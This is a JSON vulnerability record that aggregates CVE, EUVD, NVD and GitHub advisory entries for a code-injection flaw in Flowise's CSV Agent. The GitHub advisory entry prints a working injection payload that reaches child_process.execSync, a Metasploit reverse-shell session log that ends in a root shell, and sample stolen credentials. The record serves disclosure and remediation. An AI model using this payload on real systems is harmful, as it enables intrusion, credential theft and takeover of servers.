{"id":"CVE-2026-69255","revision":null,"records":[{"revision":"9a12af82d75649bfaef8d6482378bf63","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-69255","aliases":[],"title":"Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = \"${base64String}\" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T15:39:39.166+00:00","modifiedAt":"2026-08-04T19:52:22.14+00:00","affected":[{"ecosystem":"Vendor product","name":"Flowise","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"FlowiseAI\",\n                    \"product\": \"Flowise\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.1.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-69255","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-69255","identifiers":["CVE-2026-69255"]},"retained":false,"historicalAffected":[]},{"revision":"98b41d16fb6c4cc1af17d0f289b8b81a","observedAt":"2026-11-07T14:21:32.185+00:00","statement":{"source":"euvd","id":"EUVD-2026-52745","aliases":["CVE-2026-69255","GHSA-vmv7-4m6c-3cg5"],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop()…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = \"${base64String}\" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":9.2,"severity":null}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-52745","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 4, 2026, 3:39:39 PM","dateUpdated":"Aug 4, 2026, 7:52:22 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-52745","identifiers":["EUVD-2026-52745","CVE-2026-69255","GHSA-vmv7-4m6c-3cg5"]},"retained":false,"historicalAffected":[]},{"revision":"c59c9650207d4833adf2d380223868a2","observedAt":"2026-10-25T15:18:51.467+00:00","statement":{"source":"nvd","id":"CVE-2026-69255","aliases":[],"title":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop()…","description":"Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the CSVAgent in packages/components/nodes/agents/CSVAgent/CSVAgent.ts extracted attacker-controlled CSV data with file.split(',').pop() and interpolated it directly into executable Python as base64_string = \"${base64String}\" before calling Pyodide. The validatePythonCodeForDataFrame() denylist only checked later LLM-generated code and did not validate this initial code block. An authenticated attacker could inject a closing quote followed by Python code, use Pyodide's js bridge to load Node.js child_process, and execute arbitrary operating system commands as root in the Flowise container. This issue is fixed in version 3.1.3.","state":0,"publishedAt":"2026-08-04T17:17:00.57+00:00","modifiedAt":"2026-10-24T16:10:00.153+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.2,"severity":"CRITICAL"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":8.8,"severity":"HIGH"}],"references":["https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3","https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-69255","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:flowiseai:flowise:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-08-04T17:17:00.570","lastModified":"2026-10-24T16:10:00.153"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-69255","identifiers":["CVE-2026-69255"]},"retained":false,"historicalAffected":[]},{"revision":"4851c4210990449e8e57795c24a46c77","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vmv7-4m6c-3cg5","aliases":["CVE-2026-69255"],"title":"Flowise: CSV Agent Remote Code Execution via Pyodide Code Injection — Root Shell Verified","description":"## UPDATE 2026-05-20: Full RCE as root VERIFIED\n\n**This is not theoretical — a Meterpreter reverse shell session as root has been established on Flowise 3.1.2.**\n\n### Verified Exploit Chain\n\n1. Python code injection via `base64_string = \"${base64String}\"` (CSVAgent.ts line 161)\n2. Pyodide `js` bridge provides access to the host Node.js process\n3. `process.mainModule.constructor._load('child_process')` loads child_process (bypasses ESM require restriction)\n4. `.execSync('CMD')` executes arbitrary OS commands as **root** (PID 1 in container)\n\n### Working RCE Payload\n\n```\n\";import js;e=js.globalThis.eval;e(\"process.mainModule.constructor._load('child_process').execSync('id')\");#\n```\n\n**Constraint:** No commas allowed in payload — `csvFile.split(',')` splits on all commas.\n\n### Metasploit Session Proof\n\n```\nmsf > use exploit/multi/http/flowise_csv_agent_rce\nmsf > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp\nmsf > exploit\n\n[+] Authentication successful\n[+] Created chatflow: b6716feb-63c8-4fd2-993f-cd43788704b4\n[*] Sending stage (3090404 bytes) to 172.17.0.2\n[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:41422)\n\nmeterpreter > getuid\nServer username: root\n\nmeterpreter > sysinfo\nComputer     : cbce3fb352b7\nOS           : Linux 6.8.0-111-generic\nArchitecture : x64\nMeterpreter  : x64/linux\n\nmeterpreter > shell\n# id\nuid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)\n\n# uname -a\nLinux cbce3fb352b7 6.8.0-111-generic x86_64 Linux\n```\n\n### Additional Verified Impact\n\n**Credential Theft:**\n```\nFLOWISE_PASSWORD=admin123\nDATABASE_PATH=/root/.flowise\nAPIKEY_PATH=...\n```\n\n**Arbitrary File Read** via `process.binding('fs').readFileUtf8('/etc/hostname')` → `cbce3fb352b7`\n\n**Server DoS** — certain native binding calls (spawn_sync) crash the Node.js process entirely.\n\n### CVSS v3.1: 9.9 CRITICAL\n\n`AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H`\n\n---\n\n## Original Report (below)\n\n## Vulnerable Code\n\n**File:** `packages/components/nodes/agents/CSVAgent/CSVAgent.ts`\n\n**Lines 133-138** — Unsanitized string extraction from data URI via `file.split(',').pop().pop()` — no validation on content.\n\n**Lines 155-171** — Direct interpolation into executable Python code:\n`base64_string = \"${base64String}\"` is inserted into a Python string literal via JS template literal. If the string contains a closing double-quote followed by Python code, it breaks out of the string context.\n\n`validatePythonCodeForDataFrame()` denylist is only applied to LLM-generated code at line 198, NOT to this initial code block at line 171.\n\n## Remediation\n\n**Option 1 (Best):** Use `pyodide.globals.set('base64_string', base64String)` instead of string interpolation\n\n**Option 2:** Validate base64 before interpolation — reject if not matching `/^[A-Za-z0-9+/=]*$/`\n\n**Option 3:** Escape special characters (`\"`, `\\n`, `\\r`, `\\\\`) before interpolation\n\n## Related CVEs\n- CVE-2026-41264 (CSV Agent regex bypass)\n- CVE-2026-41265 (Airtable Agent sandbox bypass)\n- CVE-2026-46442 (NodeVM sandbox escape)\n\n**Disclosure:** Identified with AI assistance (Claude Code). Analysis, verification, and Metasploit module by S9S Bounty-LAB / Kamal Sentassi.","state":0,"publishedAt":"2026-08-04T15:40:28+00:00","modifiedAt":"2026-08-04T15:56:02.630735+00:00","affected":[{"ecosystem":"npm","name":"flowise","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"flowise-components","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"3.1.3"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-vmv7-4m6c-3cg5","https://github.com/FlowiseAI/Flowise/pull/6499","https://github.com/FlowiseAI/Flowise/commit/f4e2794f6a576b94578f2fdafbf49c2fb304626c","https://github.com/FlowiseAI/Flowise","https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.1.3"],"sourceUrl":"https://github.com/advisories/GHSA-vmv7-4m6c-3cg5","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vmv7-4m6c-3cg5","identifiers":["GHSA-vmv7-4m6c-3cg5","CVE-2026-69255"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}